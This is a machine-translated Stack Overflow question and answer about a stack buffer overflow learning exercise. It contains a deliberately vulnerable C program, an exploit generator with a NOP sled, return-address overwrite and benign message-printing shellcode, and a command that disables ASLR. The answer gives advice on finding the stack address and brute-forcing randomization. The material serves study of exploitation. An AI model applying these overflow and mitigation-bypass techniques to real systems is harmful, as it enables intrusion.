我有两个程序,我试图做一些堆栈粉碎。
瓦伦c
#include <stdlib.h>
#include <stdio.h>
int bof()
{
char buffer[8];
FILE *badfile;
badfile = fopen( "badfile", "r" );
fread( buffer, sizeof( char ), 1024, badfile );
return 1;
}
int main( int argc, char **argv)
{
bof();
printf("Not gonna do it! \n");
return 1;
}
剥削
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\xeb\x16"
"\x31\xdb"
"\x31\xd2"
"\x31\xc0"
"\x59"
"\xbb\x01\x00\x00\x00"
"\xb2\x09"
"\xb0\x04"
"\xcd\x80"
"\xb0\x01"
"\xcd\x80"
"xe8\xe5\xff\xff\xff"
"GOTCHA!\n";
#define OFFSET 1500
int bof()
{
char buffer[8];
strcpy(buffer, "AAAAAAAAA");
return 1;
}
unsigned long get_ESP(void)
{
__asm__("movl %ESP,%EAX");
}
int main(int argc, char **argv)
{
unsigned int addr;
FILE *badfile;
char buffer[1024];
addr = get_ESP()+OFFSET;
fprintf(stderr, "Using Offset: 0x%x\nShell code size: %lx\n",addr, sizeof(shellcode));
memset(&buffer, 0x90, 1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy( &buffer[ (sizeof(buffer) - sizeof(shellcode)) ], shellcode,sizeof(shellcode) );
badfile = fopen("./badfile","w");
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}
我在我的Macbook上用这些命令编译了这个,
gcc vuln.c -fno-stack-protector -o vuln
和gcc exploit.c -fno-stack-protector -o exploit
。然后我运行vuln,它运行良好,然后利用并获得以下输出:Using Offset: 0x6acd6814
Shell code size: 28
然后我用
od -t x2 badfile
损坏了文件,因此它看起来像这样:bash-3.2# cat badfile
????????????h?j?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1?1?Y?? ?̀?̀xe8????GOTCHA!
我正在尝试利用vuln程序,所以它会打印出GOTCHA!我现在得到
Bus error: 10
。有人能告诉我哪里出错了吗?_________________________更新________
我用BT5做了同样的手术。使用
echo 0 > /proc/sys/kernel/randomize_va_space
禁用ASLR。我还是不明白为什么这不管用。我在gdb上运行时得到这个:
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
(gdb)
我这样做对吗?
最佳答案
我不确定OSX有什么样的保护——这在Linux系统上可能会更好。
不管怎样,基本的想法看起来不错-你的易受攻击的程序打开一个大文件并将其转储到一个小数组中。问题似乎是你的文件创建。
当你得到ESP时,你得到的是当前程序的堆栈指针。这与易受攻击的程序没有关系,除非堆栈在两者中的设置完全相同(事实并非如此)。
更好的方法是在gdb中执行易受攻击的程序,直到您点击bof()并查看堆栈指针。如果这是一致的,那么你赢了。如果它是随机的(我的猜测是随机的),那么你需要用你的nop雪橇和希望。
在32位计算机上,堆栈随机化并不是太多,反复尝试利用此漏洞最终会使您获得成功的攻击。
祝你好运!
关于c - C溢出需要一些指导,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/10220267/